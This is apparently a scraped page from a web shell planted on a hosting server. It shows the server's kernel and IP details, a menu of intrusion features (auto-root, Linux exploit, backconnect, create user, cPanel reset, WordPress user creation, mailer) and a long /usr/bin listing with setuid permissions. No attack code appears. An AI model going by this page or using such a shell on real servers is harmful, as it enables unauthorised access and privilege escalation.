Linux clientvps21.redlake.in 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
LiteSpeed
: 95.216.48.241 | : 216.73.216.50
14 Domain
8.1.34
mydemowebs
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
bin /
[ HOME SHELL ]
Name
Size
Permission
Action
2to3
95
B
-rwxr-xr-x
CSPUpdate
3.53
MB
-rwxr-xr-x
CSPUpdateFallback
2.9
MB
-rwxr-xr-x
GET
15.82
KB
-rwxr-xr-x
GLCUpdate
1.88
MB
-rwxr-xr-x
HEAD
15.82
KB
-rwxr-xr-x
Mail
1013.25
KB
-rwxr-xr-x
POST
15.82
KB
-rwxr-xr-x
[
51.8
KB
-rwxr-xr-x
ab
81.46
KB
-rwxr-xr-x
aclocal
35.52
KB
-rwxr-xr-x
aclocal-1.16
35.52
KB
-rwxr-xr-x
acyclic
15.3
KB
-rwxr-xr-x
addr2line
27.75
KB
-rwxr-xr-x
alias
33
B
-rwxr-xr-x
amuFormat.sh
2.61
KB
-rwxr-xr-x
animate
15.27
KB
-rwxr-xr-x
appstream-compose
31.47
KB
-rwxr-xr-x
appstream-util
116.57
KB
-rwxr-xr-x
apropos
48.52
KB
-rwxr-xr-x
apropos.man-db
48.52
KB
-rwxr-xr-x
ar
55.98
KB
-rwxr-xr-x
arch
31.66
KB
-rwxr-xr-x
aria_chk
5.53
MB
-rwxr-xr-x
aria_dump_log
5.32
MB
-rwxr-xr-x
aria_ftdump
5.33
MB
-rwxr-xr-x
aria_pack
5.36
MB
-rwxr-xr-x
aria_read_log
5.47
MB
-rwxr-xr-x
arpaname
15.11
KB
-rwxr-xr-x
arping
27.25
KB
-rwxr-xr-x
as
710.32
KB
-rwxr-xr-x
aserver
39.46
KB
-rwxr-xr-x
aspell
151.12
KB
-rwxr-xr-x
at
55.49
KB
-rwsr-xr-x
atq
55.49
KB
-rwsr-xr-x
atrm
55.49
KB
-rwsr-xr-x
attr
15.72
KB
-rwxr-xr-x
audit2allow
14.71
KB
-rwxr-xr-x
audit2why
14.71
KB
-rwxr-xr-x
aulast
19.2
KB
-rwxr-xr-x
aulastlog
15.13
KB
-rwxr-xr-x
ausyscall
15.12
KB
-rwxr-xr-x
authselect
43.68
KB
-rwxr-xr-x
autoconf
14.42
KB
-rwxr-xr-x
autoheader
8.33
KB
-rwxr-xr-x
autom4te
31.43
KB
-rwxr-xr-x
automake
251.93
KB
-rwxr-xr-x
automake-1.16
251.93
KB
-rwxr-xr-x
autopoint
26.36
KB
-rwxr-xr-x
autoreconf
20.57
KB
-rwxr-xr-x
autoscan
16.72
KB
-rwxr-xr-x
autoupdate
33.08
KB
-rwxr-xr-x
auvirt
35.3
KB
-rwxr-xr-x
awk
698.17
KB
-rwxr-xr-x
b2sum
51.79
KB
-rwxr-xr-x
base32
35.69
KB
-rwxr-xr-x
base64
35.7
KB
-rwxr-xr-x
basename
35.67
KB
-rwxr-xr-x
basenc
48.02
KB
-rwxr-xr-x
bash
1.32
MB
-rwxr-xr-x
bashbug
6.91
KB
-rwxr-xr-x
bashbug-64
6.91
KB
-rwxr-xr-x
batch
140
B
-rwxr-xr-x
bc
89.24
KB
-rwxr-xr-x
bcomps
23.37
KB
-rwxr-xr-x
bg
30
B
-rwxr-xr-x
bison
494.76
KB
-rwxr-xr-x
bond2team
22.75
KB
-rwxr-xr-x
bootconfig
30.29
KB
-rwxr-xr-x
bootctl
100.54
KB
-rwxr-xr-x
brotli
753.3
KB
-rwxr-xr-x
bunzip2
39.62
KB
-rwxr-xr-x
busctl
100.16
KB
-rwxr-xr-x
bwrap
72.22
KB
-rwxr-xr-x
bzcat
39.62
KB
-rwxr-xr-x
bzcmp
2.09
KB
-rwxr-xr-x
bzdiff
2.09
KB
-rwxr-xr-x
bzegrep
2.01
KB
-rwxr-xr-x
bzfgrep
2.01
KB
-rwxr-xr-x
bzgrep
2.01
KB
-rwxr-xr-x
bzip2
39.62
KB
-rwxr-xr-x
bzip2recover
15.4
KB
-rwxr-xr-x
bzless
1.23
KB
-rwxr-xr-x
bzmore
1.23
KB
-rwxr-xr-x
c++
1.05
MB
-rwxr-xr-x
c++filt
27.19
KB
-rwxr-xr-x
c89
228
B
-rwxr-xr-x
c99
219
B
-rwxr-xr-x
ca-legacy
1.61
KB
-rwxr-xr-x
cal
51.83
KB
-rwxr-xr-x
canberra-boot
19.07
KB
-rwxr-xr-x
canberra-gtk-play
19.18
KB
-rwxr-xr-x
captoinfo
87.79
KB
-rwxr-xr-x
cat
35.66
KB
-rwxr-xr-x
catchsegv
3.21
KB
-rwxr-xr-x
catman
35.86
KB
-rwxr-xr-x
cc
1.04
MB
-rwxr-xr-x
ccomps
27.47
KB
-rwxr-xr-x
cd
30
B
-rwxr-xr-x
centrino-decode
14.13
KB
-rwxr-xr-x
certbot
215
B
-rwxr-xr-x
certbot-3
215
B
-rwxr-xr-x
chacl
19.14
KB
-rwxr-xr-x
chage
71.98
KB
-rwsr-xr-x
chardetect
225
B
-rwxr-xr-x
chattr
15.19
KB
-rwxr-xr-x
chcat
13.63
KB
-rwxr-xr-x
chcon
60.24
KB
-rwxr-xr-x
checkipv2
2.75
MB
-rwxr-xr-x
checkmodule
450.88
KB
-rwxr-xr-x
checkpolicy
527.52
KB
-rwxr-xr-x
checkstatus
3.56
MB
-rwxr-xr-x
chfn
31.29
KB
-rws--x--x
chgrp
56.19
KB
-rwxr-xr-x
chmem
35.39
KB
-rwxr-xr-x
chmod
56.16
KB
-rwxr-xr-x
choom
23.3
KB
-rwxr-xr-x
chown
60.19
KB
-rwxr-xr-x
chronyc
100.7
KB
-rwxr-xr-x
chrt
27.31
KB
-rwxr-xr-x
chsh
23.23
KB
-rwx--x--x
chvt
15.35
KB
-rwxr-xr-x
cifsiostat
23.55
KB
-rwxr-xr-x
circo
15.23
KB
-rwxr-xr-x
cksum
35.57
KB
-rwxr-xr-x
clear
15.15
KB
-rwxr-xr-x
clockdiff
23.2
KB
-rwxr-xr-x
cluster
47.7
KB
-rwxr-xr-x
cmp
40.13
KB
-rwxr-xr-x
col
23.23
KB
-rwxr-xr-x
colcrt
15.19
KB
-rwxr-xr-x
colrm
15.16
KB
-rwxr-xr-x
column
35.34
KB
-rwxr-xr-x
comm
35.75
KB
-rwxr-xr-x
command
35
B
-rwxr-xr-x
compare
15.27
KB
-rwxr-xr-x
compile_et
1.31
KB
-rwxr-xr-x
composite
15.27
KB
-rwxr-xr-x
config_data
6.97
KB
-rwxr-xr-x
conjure
15.27
KB
-rwxr-xr-x
convert
15.27
KB
-rwxr-xr-x
coredumpctl
59.85
KB
-rwxr-xr-x
corelist
14.92
KB
-rwxr-xr-x
cp
149.24
KB
-rwxr-xr-x
cpan
8.37
KB
-rwxr-xr-x
cpan-mirrors
4.19
KB
-rwxr-xr-x
cpansign
1.98
KB
-rwxr-xr-x
cpapi1
3.36
MB
-rwxr-xr-x
cpapi2
3.36
MB
-rwxr-xr-x
cpapi3
3.36
MB
-rwxr-xr-x
cpio
145.52
KB
-rwxr-xr-x
cpp
1.05
MB
-rwxr-xr-x
cpupower
79.98
KB
-rwxr-xr-x
crb
2.59
KB
-rwxr--r--
crc32
1.02
KB
-rwxr-xr-x
cronnext
39.75
KB
-rwxr-xr-x
crontab
55.77
KB
-rwsr-xr-x
cspdaemon
3.65
MB
-rwxr-xr-x
cspfwd
3.98
MB
-rwxr-xr-x
csplit
108.88
KB
-rwxr-xr-x
curl
248.48
KB
-rwxr-xr-x
cut
47.8
KB
-rwxr-xr-x
cvtsudoers
233.49
KB
-rwxr-xr-x
cxpm
27.41
KB
-rwxr-xr-x
cyrusbdb2current
1.58
MB
-rwxr-xr-x
date
104.05
KB
-rwxr-xr-x
dbilogstrip
1.35
KB
-rwxr-xr-x
dbiprof
6.06
KB
-rwxr-xr-x
dbus-broker
232
KB
-rwxr-xr-x
dbus-broker-launch
130.02
KB
-rwxr-xr-x
dbus-monitor
27.27
KB
-rwxr-xr-x
dbus-send
27.22
KB
-rwxr-xr-x
dbus-update-activation-environ...
15.17
KB
-rwxr-xr-x
dbus-uuidgen
15.14
KB
-rwxr-xr-x
dc
48.42
KB
-rwxr-xr-x
dconf
64.71
KB
-rwxr-xr-x
dd
68.14
KB
-rwxr-xr-x
deallocvt
15.36
KB
-rwxr-xr-x
debuginfo-install
3.6
KB
-rwxr-xr-x
debuginfod-find
19.26
KB
-rwxr-xr-x
delv
45.38
KB
-rwxr-xr-x
df
84.73
KB
-rwxr-xr-x
diff
194.7
KB
-rwxr-xr-x
diff3
52.3
KB
-rwxr-xr-x
diffimg
15.26
KB
-rwxr-xr-x
dig
136.59
KB
-rwxr-xr-x
dijkstra
19.44
KB
-rwxr-xr-x
dir
137.65
KB
-rwxr-xr-x
dircolors
39.8
KB
-rwxr-xr-x
dirmngr
439.97
KB
-rwxr-xr-x
dirmngr-client
56.13
KB
-rwxr-xr-x
dirname
31.48
KB
-rwxr-xr-x
display
15.27
KB
-rwxr-xr-x
distro
953
B
-rwxr-xr-x
dmesg
71.77
KB
-rwxr-xr-x
dnf
2.04
KB
-rwxr-xr-x
dnf-3
2.04
KB
-rwxr-xr-x
dnf4
2.04
KB
-rwxr-xr-x
dnsdomainname
23.84
KB
-rwxr-xr-x
dnstap-read
23.19
KB
-rwxr-xr-x
domainname
23.84
KB
-rwxr-xr-x
dot
15.23
KB
-rwxr-xr-x
dot2gxl
39.93
KB
-rwxr-xr-x
dotty
2.04
KB
-rwxr-xr-x
doveadm
815.64
KB
-rwxr-xr-x
doveconf
366.45
KB
-rwxr-xr-x
dovecot-sysreport
5.81
KB
-rwxr-xr-x
dpkg
320.52
KB
-rwxr-xr-x
dpkg-deb
153.71
KB
-rwxr-xr-x
dpkg-divert
129.77
KB
-rwxr-xr-x
dpkg-maintscript-helper
20.63
KB
-rwxr-xr-x
dpkg-query
146.16
KB
-rwxr-xr-x
dpkg-realpath
35.63
KB
-rwxr-xr-x
dpkg-split
104.76
KB
-rwxr-xr-x
dpkg-statoverride
56.05
KB
-rwxr-xr-x
dpkg-trigger
48.08
KB
-rwxr-xr-x
dracut
98.55
KB
-rwxr-xr-x
dtrace
17.38
KB
-rwxr-xr-x
du
149.44
KB
-rwxr-xr-x
dumpkeys
164.05
KB
-rwxr-xr-x
dwp
851.56
KB
-rwxr-xr-x
dwz
227.99
KB
-rwxr-xr-x
ea-php81
10.8
MB
-rwxr-xr-x
ea-php81-pear
383
B
-rwxr-xr-x
ea-php81-pecl
299
B
-rwxr-xr-x
ea-php82
10.88
MB
-rwxr-xr-x
ea-php82-pear
383
B
-rwxr-xr-x
ea-php82-pecl
299
B
-rwxr-xr-x
ea-php83
10.93
MB
-rwxr-xr-x
ea-php83-pear
383
B
-rwxr-xr-x
ea-php83-pecl
299
B
-rwxr-xr-x
ea-wappspector
104
B
-rwxr-xr-x
echo
35.48
KB
-rwxr-xr-x
ed
52.51
KB
-rwxr-xr-x
edgepaint
2.46
MB
-rwxr-xr-x
egrep
32
B
-rwxr-xr-x
eject
43.61
KB
-rwxr-xr-x
elfedit
35.84
KB
-rwxr-xr-x
enc2xs
40.69
KB
-rwxr-xr-x
encguess
2.92
KB
-rwxr-xr-x
env
44.23
KB
-rwxr-xr-x
envml
4.11
KB
-rwxr-xr-x
envsubst
35.39
KB
-rwxr-xr-x
eps2eps
643
B
-rwxr-xr-x
eqn
189.52
KB
-rwxr-xr-x
event_rpcgen.py
53.65
KB
-rwxr-xr-x
evmctl
69.59
KB
-rwxr-xr-x
ex
1.38
MB
-rwxr-xr-x
exempi
28.18
KB
-rwxr-xr-x
exiv2
199.82
KB
-rwxr-xr-x
expand
39.73
KB
-rwxr-xr-x
expr
108.6
KB
-rwxr-xr-x
factor
72.05
KB
-rwxr-xr-x
fallocate
23.2
KB
-rwxr-xr-x
false
27.47
KB
-rwxr-xr-x
fc
30
B
-rwxr-xr-x
fc-cache
139
B
-rwxr-xr-x
fc-cache-64
23.17
KB
-rwxr-xr-x
fc-cat
19.16
KB
-rwxr-xr-x
fc-conflist
15.13
KB
-rwxr-xr-x
fc-list
15.13
KB
-rwxr-xr-x
fc-match
15.13
KB
-rwxr-xr-x
fc-pattern
15.14
KB
-rwxr-xr-x
fc-query
15.13
KB
-rwxr-xr-x
fc-scan
15.14
KB
-rwxr-xr-x
fc-validate
15.14
KB
-rwxr-xr-x
fdp
15.23
KB
-rwxr-xr-x
fg
30
B
-rwxr-xr-x
fgconsole
15.34
KB
-rwxr-xr-x
fgrep
32
B
-rwxr-xr-x
filan
47.63
KB
-rwxr-xr-x
file
27.74
KB
-rwxr-xr-x
fincore
23.3
KB
-rwxr-xr-x
find
284.95
KB
-rwxr-xr-x
find-repos-of-install
3.6
KB
-rwxr-xr-x
findmnt
64.75
KB
-rwxr-xr-x
fips-finish-install
1.72
KB
-rwxr-xr-x
fips-mode-setup
8.02
KB
-rwxr-xr-x
flatpak
1.75
MB
-rwxr-xr-x
flatpak-bisect
7.66
KB
-rwxr-xr-x
flatpak-coredumpctl
3.35
KB
-rwxr-xr-x
flex
412.64
KB
-rwxr-xr-x
flex++
412.64
KB
-rwxr-xr-x
flock
23.37
KB
-rwxr-xr-x
fmt
39.77
KB
-rwxr-xr-x
fold
39.71
KB
-rwxr-xr-x
free
23.36
KB
-rwxr-xr-x
freetype-config
4.32
KB
-rwxr-xr-x
fribidi
28.59
KB
-rwxr-xr-x
ftp
100.66
KB
-rwxr-xr-x
funzip
31.25
KB
-rwxr-xr-x
fuse2fs
72.68
KB
-rwxr-xr-x
fusermount
35.52
KB
-rwsr-xr-x
g++
1.05
MB
-rwxr-xr-x
g13
110.29
KB
-rwxr-xr-x
galera_new_cluster
928
B
-rwxr-xr-x
galera_recovery
3.29
KB
-rwxr-xr-x
gapplication
23.21
KB
-rwxr-xr-x
garb-systemd
1.2
KB
-rwxr-xr-x
garbd
1.63
MB
-rwxr-xr-x
gawk
698.17
KB
-rwxr-xr-x
gc
19.39
KB
-rwxr-xr-x
gcc
1.04
MB
-rwxr-xr-x
gcc-ar
27.67
KB
-rwxr-xr-x
gcc-nm
27.64
KB
-rwxr-xr-x
gcc-ranlib
27.67
KB
-rwxr-xr-x
gcov
473.17
KB
-rwxr-xr-x
gcov-dump
291.77
KB
-rwxr-xr-x
gcov-tool
320.46
KB
-rwxr-xr-x
gdbm_dump
28.22
KB
-rwxr-xr-x
gdbm_load
36.48
KB
-rwxr-xr-x
gdbmtool
149.26
KB
-rwxr-xr-x
gdbus
51.5
KB
-rwxr-xr-x
gdbus-codegen
1.99
KB
-rwxr-xr-x
gdk-pixbuf-query-loaders-64
15.16
KB
-rwxr-xr-x
gdk-pixbuf-thumbnailer
19.14
KB
-rwxr-xr-x
gencat
27.45
KB
-rwxr-xr-x
genisoimage
573.37
KB
-rwxr-xr-x
genl-ctrl-list
15.48
KB
-rwxr-xr-x
geqn
189.52
KB
-rwxr-xr-x
getconf
35.23
KB
-rwxr-xr-x
getent
35.86
KB
-rwxr-xr-x
getfacl
31.8
KB
-rwxr-xr-x
getfattr
24.35
KB
-rwxr-xr-x
gethostip
15.75
KB
-rwxr-xr-x
getkeycodes
15.34
KB
-rwxr-xr-x
getlic_cpanel
2.19
MB
-rwxr-xr-x
getlic_softaculous
4.95
MB
-rwxr-xr-x
getopt
23.27
KB
-rwxr-xr-x
getopts
35
B
-rwxr-xr-x
gettext
35.35
KB
-rwxr-xr-x
gettext.sh
5.07
KB
-rwxr-xr-x
gettextize
41.25
KB
-rwxr-xr-x
ghostscript
15.13
KB
-rwxr-xr-x
gio
91.81
KB
-rwxr-xr-x
gio-querymodules-64
15.13
KB
-rwxr-xr-x
git
22.29
MB
-rwxr-xr-x
git-receive-pack
22.29
MB
-rwxr-xr-x
git-shell
6.26
MB
-rwxr-xr-x
git-upload-archive
22.29
MB
-rwxr-xr-x
git-upload-pack
22.29
MB
-rwxr-xr-x
glib-compile-resources
43.34
KB
-rwxr-xr-x
glib-compile-schemas
51.47
KB
-rwxr-xr-x
glib-genmarshal
40.14
KB
-rwxr-xr-x
glib-gettextize
5.26
KB
-rwxr-xr-x
glib-mkenums
30.08
KB
-rwxr-xr-x
gmake
249.8
KB
-rwxr-xr-x
gml2gv
47.78
KB
-rwxr-xr-x
gneqn
916
B
-rwxr-xr-x
gnroff
3.21
KB
-rwxr-xr-x
gobject-query
15.17
KB
-rwxr-xr-x
gpasswd
76.19
KB
-rwsr-xr-x
gpg
1.07
MB
-rwxr-xr-x
gpg-agent
342.27
KB
-rwxr-xr-x
gpg-card
170.13
KB
-rwxr-xr-x
gpg-connect-agent
84.75
KB
-rwxr-xr-x
gpg-error
36.1
KB
-rwxr-xr-x
gpg-error-config
1.98
KB
-rwxr-xr-x
gpg-wks-client
129.55
KB
-rwxr-xr-x
gpg-wks-server
113.33
KB
-rwxr-xr-x
gpg2
1.07
MB
-rwxr-xr-x
gpgconf
100.98
KB
-rwxr-xr-x
gpgme-json
84.63
KB
-rwxr-xr-x
gpgparsemail
35.33
KB
-rwxr-xr-x
gpgrt-config
13.13
KB
-rwxr-xr-x
gpgsplit
27.5
KB
-rwxr-xr-x
gpgtar
64.87
KB
-rwxr-xr-x
gpgv
295.43
KB
-rwxr-xr-x
gpgv2
295.43
KB
-rwxr-xr-x
gpic
201.72
KB
-rwxr-xr-x
gpio-event-mon
18.13
KB
-rwxr-xr-x
gpio-hammer
14.12
KB
-rwxr-xr-x
gpio-watch
14.12
KB
-rwxr-xr-x
gprof
101.48
KB
-rwxr-xr-x
gr2fonttest
28
KB
-rwxr-xr-x
graphml2gv
23.55
KB
-rwxr-xr-x
grep
154.49
KB
-rwxr-xr-x
gresource
23.28
KB
-rwxr-xr-x
groff
96.77
KB
-rwxr-xr-x
grops
167.26
KB
-rwxr-xr-x
grotty
122.2
KB
-rwxr-xr-x
groups
35.66
KB
-rwxr-xr-x
grub2-editenv
475.69
KB
-rwxr-xr-x
grub2-file
1.1
MB
-rwxr-xr-x
grub2-fstest
1.34
MB
-rwxr-xr-x
grub2-glue-efi
294.55
KB
-rwxr-xr-x
grub2-kbdcomp
1.63
KB
-rwxr-xr-x
grub2-menulst2cfg
277.75
KB
-rwxr-xr-x
grub2-mkfont
327.26
KB
-rwxr-xr-x
grub2-mkimage
454.59
KB
-rwxr-xr-x
grub2-mklayout
300.66
KB
-rwxr-xr-x
grub2-mknetdir
517.62
KB
-rwxr-xr-x
grub2-mkpasswd-pbkdf2
307.05
KB
-rwxr-xr-x
grub2-mkrelpath
294.38
KB
-rwxr-xr-x
grub2-mkrescue
1.33
MB
-rwxr-xr-x
grub2-mkstandalone
621.93
KB
-rwxr-xr-x
grub2-mount
1.01
MB
-rwxr-xr-x
grub2-render-label
1.11
MB
-rwxr-xr-x
grub2-script-check
331.17
KB
-rwxr-xr-x
grub2-syslinux2cfg
1.03
MB
-rwxr-xr-x
gs
15.13
KB
-rwxr-xr-x
gsbj
354
B
-rwxr-xr-x
gsdj
356
B
-rwxr-xr-x
gsdj500
356
B
-rwxr-xr-x
gsettings
31.38
KB
-rwxr-xr-x
gsf-office-thumbnailer
20.07
KB
-rwxr-xr-x
gslj
357
B
-rwxr-xr-x
gslp
354
B
-rwxr-xr-x
gsnd
281
B
-rwxr-xr-x
gsoelim
32.18
KB
-rwxr-xr-x
gst-inspect-1.0
71.75
KB
-rwxr-xr-x
gst-launch-1.0
39.48
KB
-rwxr-xr-x
gst-stats-1.0
35.64
KB
-rwxr-xr-x
gst-typefind-1.0
19.34
KB
-rwxr-xr-x
gtar
518.16
KB
-rwxr-xr-x
gtbl
130.86
KB
-rwxr-xr-x
gtester
31.29
KB
-rwxr-xr-x
gtester-report
18.64
KB
-rwxr-xr-x
gtk-launch
19.28
KB
-rwxr-xr-x
gtk-query-immodules-2.0-64
19.17
KB
-rwxr-xr-x
gtk-query-immodules-3.0-64
23.27
KB
-rwxr-xr-x
gtk-update-icon-cache
39.83
KB
-rwxr-xr-x
gtroff
732.07
KB
-rwxr-xr-x
gunzip
2.29
KB
-rwxr-xr-x
gv2gml
23.41
KB
-rwxr-xr-x
gv2gxl
39.93
KB
-rwxr-xr-x
gvcolor
49.59
KB
-rwxr-xr-x
gvgen
23.41
KB
-rwxr-xr-x
gvmap
2.75
MB
-rwxr-xr-x
gvmap.sh
2.14
KB
-rwxr-xr-x
gvpack
398.14
KB
-rwxr-xr-x
gvpr
15.2
KB
-rwxr-xr-x
gxl2dot
39.93
KB
-rwxr-xr-x
gxl2gv
39.93
KB
-rwxr-xr-x
gzexe
6.3
KB
-rwxr-xr-x
gzip
89.63
KB
-rwxr-xr-x
h2ph
28.69
KB
-rwxr-xr-x
h2xs
59.5
KB
-rwxr-xr-x
hardlink
35.43
KB
-rwxr-xr-x
hash
32
B
-rwxr-xr-x
hb-ot-shape-closure
43.66
KB
-rwxr-xr-x
hb-shape
47.91
KB
-rwxr-xr-x
hb-subset
39.66
KB
-rwxr-xr-x
hb-view
64.01
KB
-rwxr-xr-x
head
43.8
KB
-rwxr-xr-x
hexdump
51.41
KB
-rwxr-xr-x
host
108.57
KB
-rwxr-xr-x
hostid
31.66
KB
-rwxr-xr-x
hostname
23.84
KB
-rwxr-xr-x
hostnamectl
31.49
KB
-rwxr-xr-x
htdbm
38.53
KB
-rwxr-xr-x
htdigest
25.71
KB
-rwxr-xr-x
html2text
980
B
-rwxr-xr-x
htpasswd
38.66
KB
-rwxr-xr-x
httxt2dbm
24.73
KB
-rwxr-xr-x
hunspell
102.67
KB
-rwxr-xr-x
i386
27.48
KB
-rwxr-xr-x
iconv
64.09
KB
-rwxr-xr-x
icu-config
205
B
-rwxr-xr-x
icu-config-64
21.67
KB
-rwxr-xr-x
icuinfo
15.49
KB
-rwxr-xr-x
id
39.71
KB
-rwxr-xr-x
identify
15.27
KB
-rwxr-xr-x
idiag-socket-details
15.52
KB
-rwxr-xr-x
idn
36.46
KB
-rwxr-xr-x
ifnames
4.03
KB
-rwxr-xr-x
iio_event_monitor
30.13
KB
-rwxr-xr-x
iio_generic_buffer
34.14
KB
-rwxr-xr-x
ima-add-sigs
3.67
KB
-rwxr-xr-x
ima-setup
3.71
KB
-rwxr-xr-x
import
15.27
KB
-rwxr-xr-x
info
312.73
KB
-rwxr-xr-x
infocmp
63.68
KB
-rwxr-xr-x
infotocap
87.79
KB
-rwxr-xr-x
innochecksum
4.58
MB
-rwxr-xr-x
install
149.29
KB
-rwxr-xr-x
instmodsh
4.1
KB
-rwxr-xr-x
intel-speed-select
112.66
KB
-rwxr-xr-x
ionice
15.21
KB
-rwxr-xr-x
iostat
55.86
KB
-rwxr-xr-x
ipcmk
23.29
KB
-rwxr-xr-x
ipcrm
19.23
KB
-rwxr-xr-x
ipcs
39.34
KB
-rwxr-xr-x
iptc
29.3
KB
-rwxr-xr-x
irqtop
35.27
KB
-rwxr-xr-x
isodebug
68.84
KB
-rwxr-xr-x
isodump
76.88
KB
-rwxr-xr-x
isohybrid
30.98
KB
-rwxr-xr-x
isoinfo
248.63
KB
-rwxr-xr-x
isosize
15.16
KB
-rwxr-xr-x
isovfy
76.87
KB
-rwxr-xr-x
ispell
992
B
-rwxr-xr-x
jetapps
20.52
KB
-rwx------
jetbackup5
3.82
KB
-rwx------
jetbackup5api
17.58
KB
-rwsr-xr-x
jetmongo
116
B
-rwx------
jobs
32
B
-rwxr-xr-x
join
51.9
KB
-rwxr-xr-x
journalctl
88.11
KB
-rwxr-xr-x
jq
31.17
KB
-rwxr-xr-x
json_pp
4.78
KB
-rwxr-xr-x
json_reformat
19.52
KB
-rwxr-xr-x
json_verify
15.3
KB
-rwxr-xr-x
json_xs
6.85
KB
-rwxr-xr-x
jws
215
B
-rwxr-xr-x
kbd_mode
15.69
KB
-rwxr-xr-x
kbdinfo
19.38
KB
-rwxr-xr-x
kbdrate
19.38
KB
-rwxr-xr-x
kcare-scanner-interface
4.67
KB
-rwxr-xr-x
kcare-uname
586
B
-rwxr-xr-x
kcarectl
1.21
KB
-rwxr-xr-x
kdumpctl
51.85
KB
-rwxr-xr-x
kernel-install
13.7
KB
-rwxr-xr-x
keyctl
64.02
KB
-rwxr-xr-x
kill
31.29
KB
-rwxr-xr-x
killall
32.95
KB
-rwxr-xr-x
kmod
165.57
KB
-rwxr-xr-x
krb5-config
6.59
KB
-rwxr-xr-x
kvm_stat
62.92
KB
-rwxr-xr-x
last
35.3
KB
-rwxr-xr-x
lastb
35.3
KB
-rwxr-xr-x
lastlog
28.63
KB
-rwxr-xr-x
lchfn
23.13
KB
-rwxr-xr-x
lchsh
23.13
KB
-rwxr-xr-x
ld
1.71
MB
-rwxr-xr-x
ld.bfd
1.71
MB
-rwxr-xr-x
ld.gold
2.03
MB
-rwxr-xr-x
ld.so
910.97
KB
-rwxr-xr-x
ldd
5.32
KB
-rwxr-xr-x
lefty
300.45
KB
-rwxr-xr-x
less
197.7
KB
-rwxr-xr-x
lessecho
15.17
KB
-rwxr-xr-x
lesskey
24.61
KB
-rwxr-xr-x
lesspipe.sh
3.5
KB
-rwxr-xr-x
letsencrypt
215
B
-rwxr-xr-x
lex
412.64
KB
-rwxr-xr-x
lexgrog
88.19
KB
-rwxr-xr-x
libcare-cron
1.07
KB
-rwxr-xr-x
libnetcfg
15.41
KB
-rwxr-xr-x
libpng-config
2.38
KB
-rwxr-xr-x
libpng16-config
2.38
KB
-rwxr-xr-x
libtool
359.18
KB
-rwxr-xr-x
libtoolize
126.17
KB
-rwxr-xr-x
libwmf-fontmap
13.03
KB
-rwxr-xr-x
link
31.66
KB
-rwxr-xr-x
linux-boot-prober
5.86
KB
-rwxr-xr-x
linux32
27.48
KB
-rwxr-xr-x
linux64
27.48
KB
-rwxr-xr-x
ln
60.16
KB
-rwxr-xr-x
lneato
1.51
KB
-rwxr-xr-x
loadkeys
200.52
KB
-rwxr-xr-x
loadunimap
31.61
KB
-rwxr-xr-x
locale
59.08
KB
-rwxr-xr-x
localectl
31.45
KB
-rwxr-xr-x
localedef
314.06
KB
-rwxr-xr-x
logger
35.98
KB
-rwxr-xr-x
login
43.45
KB
-rwxr-xr-x
loginctl
67.96
KB
-rwxr-xr-x
logname
31.66
KB
-rwxr-xr-x
logresolve
25.06
KB
-rwxr-xr-x
look
19.17
KB
-rwxr-xr-x
ls
137.64
KB
-rwxr-xr-x
lsattr
15.18
KB
-rwxr-xr-x
lsblk
124.37
KB
-rwxr-xr-x
lscpu
108.21
KB
-rwxr-xr-x
lsgpio
14.3
KB
-rwxr-xr-x
lsiio
22.14
KB
-rwxr-xr-x
lsinitrd
11.85
KB
-rwxr-xr-x
lsipc
51.5
KB
-rwxr-xr-x
lsirq
23.23
KB
-rwxr-xr-x
lslocks
31.6
KB
-rwxr-xr-x
lslogins
51.51
KB
-rwxr-xr-x
lsmem
35.53
KB
-rwxr-xr-x
lsns
39.33
KB
-rwxr-xr-x
lsof
175.06
KB
-rwxr-xr-x
lsphp
937
B
-rwxr-xr-x
lsscsi
89.44
KB
-rwxr-xr-x
lto-dump
26.59
MB
-rwxr-xr-x
lua
23.23
KB
-rwxr-xr-x
luac
157.69
KB
-rwxr-xr-x
lwp-download
10.05
KB
-rwxr-xr-x
lwp-dump
2.65
KB
-rwxr-xr-x
lwp-mirror
2.36
KB
-rwxr-xr-x
lwp-request
15.82
KB
-rwxr-xr-x
lz
2.49
KB
-rwxr-xr-x
m4
240.4
KB
-rwxr-xr-x
mail
1013.25
KB
-rwxr-xr-x
mailx
1013.25
KB
-rwxr-xr-x
mailx.s-nail
1013.25
KB
-rwxr-xr-x
make
249.8
KB
-rwxr-xr-x
make-dummy-cert
614
B
-rwxr-xr-x
man
114.91
KB
-rwxr-xr-x
man-recode
28.01
KB
-rwxr-xr-x
man.man-db
114.91
KB
-rwxr-xr-x
mandb
133.01
KB
-rwxr-xr-x
manpath
31.82
KB
-rwxr-xr-x
mapscrn
31.57
KB
-rwxr-xr-x
mariadb
5.1
MB
-rwxr-xr-x
mariadb-access
109.48
KB
-rwxr-xr-x
mariadb-admin
4.87
MB
-rwxr-xr-x
mariadb-binlog
5.13
MB
-rwxr-xr-x
mariadb-check
4.86
MB
-rwxr-xr-x
mariadb-config
15.64
KB
-rwxr-xr-x
mariadb-conv
4.58
MB
-rwxr-xr-x
mariadb-convert-table-format
4.28
KB
-rwxr-xr-x
mariadb-dump
4.96
MB
-rwxr-xr-x
mariadb-dumpslow
8.19
KB
-rwxr-xr-x
mariadb-embedded
24.46
MB
-rwxr-xr-x
mariadb-find-rows
3.35
KB
-rwxr-xr-x
mariadb-fix-extensions
1.31
KB
-rwxr-xr-x
mariadb-hotcopy
34.67
KB
-rwxr-xr-x
mariadb-import
4.85
MB
-rwxr-xr-x
mariadb-install-db
22.35
KB
-rwxr-xr-x
mariadb-plugin
4.55
MB
-rwxr-xr-x
mariadb-secure-installation
13.66
KB
-rwxr-xr-x
mariadb-service-convert
2.45
KB
-rwxr-xr-x
mariadb-setpermission
17.7
KB
-rwxr-xr-x
mariadb-show
4.85
MB
-rwxr-xr-x
mariadb-slap
4.87
MB
-rwxr-xr-x
mariadb-tzinfo-to-sql
4.55
MB
-rwxr-xr-x
mariadb-upgrade
4.99
MB
-rwxr-xr-x
mariadb-waitpid
4.54
MB
-rwxr-xr-x
mariadb_config
15.64
KB
-rwxr-xr-x
mariadbd-multi
26.85
KB
-rwxr-xr-x
mariadbd-safe
30.58
KB
-rwxr-xr-x
mariadbd-safe-helper
4.51
MB
